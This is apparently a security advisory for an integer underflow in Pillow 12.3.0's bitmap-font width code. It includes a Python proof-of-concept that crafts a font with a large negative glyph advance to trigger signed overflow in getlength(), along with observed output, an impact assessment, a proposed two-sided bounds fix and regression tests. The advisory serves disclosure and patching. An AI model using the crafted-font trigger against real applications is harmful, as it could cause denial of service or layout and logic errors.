GHSA-4RM8-3HMM-39FG
Vulnerability from github – Published: 2026-10-22 16:01 – Updated: 2026-10-22 16:01Summary
Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx
Details
The code in Pillow 12.3.0 is:
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
Observations from a regular 12.3.0 release build:
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
At a minimum, four test cases should be added:
1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed);
2. dx = 32767, repeat = 65539 — should raise OverflowError;
3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed);
4. dx = -32768, repeat = 65537 — should raise OverflowError.
Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-96641"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:01:14Z",
"nvd_published_at": "2026-10-21T21:20:32Z",
"severity": "MODERATE"
},
"details": "### Summary\nAffected Object and Source\n\nPackage: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\n### Details\nThe code in Pillow 12.3.0 is:\n```c\nfor (xsize = 0; *text; text++) {\n int dx = self-\u003eglyphs[*text].dx;\n if (dx \u003e 0 \u0026\u0026 xsize \u003e INT_MAX - dx) {\n PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n return -1;\n }\n xsize += dx;\n}\n```\nThe PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:\n`dx \u003e 0 =\u003e xsize \u003c= INT_MAX - dx`\nIt does **not** prove the other half of the contract:\n`dx \u003c 0 =\u003e xsize \u003e= INT_MIN - dx`\nTaking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.\n\n### PoC\n```python\n\"\"\"Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom io import BytesIO\n\nimport PIL\nfrom PIL import Image, ImageFont\n\n\nADVANCE = -(2**15)\nCONTROL_REPEAT = 65_536\nWITNESS_REPEAT = 65_537\n\n\ndef bitmap_font(advance: int) -\u003e ImageFont.ImageFont:\n metrics = bytearray(256 * 20)\n glyph_offset = ord(\"A\") * 20\n metrics[glyph_offset : glyph_offset + 2] = struct.pack(\"\u003eh\", advance)\n font_data = b\"PILfont\\n;;;;;;1;\\nDATA\\n\" + bytes(metrics)\n font = ImageFont.ImageFont()\n font._load_pilfont_data(BytesIO(font_data), Image.new(\"1\", (1, 1)))\n return font\n\n\ndef main() -\u003e None:\n font = bitmap_font(ADVANCE)\n print(f\"Pillow={PIL.__version__}\")\n print(f\"control_math={ADVANCE * CONTROL_REPEAT}\")\n print(f\"control_return={font.getlength(\u0027A\u0027 * CONTROL_REPEAT)}\")\n print(f\"witness_math={ADVANCE * WITNESS_REPEAT}\")\n print(f\"witness_return={font.getlength(\u0027A\u0027 * WITNESS_REPEAT)}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nObservations from a regular 12.3.0 release build:\n\n```text\nPillow=12.3.0\ncontrol_math=-2147483648\ncontrol_return=0\nwitness_math=-2147516416\nwitness_return=2147450880\n```\n\nThe adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.\n\n\n### Impact\nThe directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.\n\nTherefore, the current recommended severity rating is \"Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model\", rather than a memory corruption vulnerability.\n\n### Recommended Patch and Regression Tests\n\nIt is recommended to extend the overflow check to cover both directions:\n```c\nif ((dx \u003e 0 \u0026\u0026 xsize \u003e INT_MAX - dx) ||\n (dx \u003c 0 \u0026\u0026 xsize \u003c INT_MIN - dx)) {\n PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n return -1;\n}\n```\nAt a minimum, four test cases should be added:\n1. `dx = 32767, repeat = 65538` \u2014 upper adjacent control (should succeed);\n2. `dx = 32767, repeat = 65539` \u2014 should raise `OverflowError`;\n3. `dx = -32768, repeat = 65536` \u2014 lower adjacent control (should succeed);\n4. `dx = -32768, repeat = 65537` \u2014 should raise `OverflowError`.\n\nAdditionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.",
"id": "GHSA-4rm8-3hmm-39fg",
"modified": "2026-10-22T16:01:14Z",
"published": "2026-10-22T16:01:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96641"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/10010"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.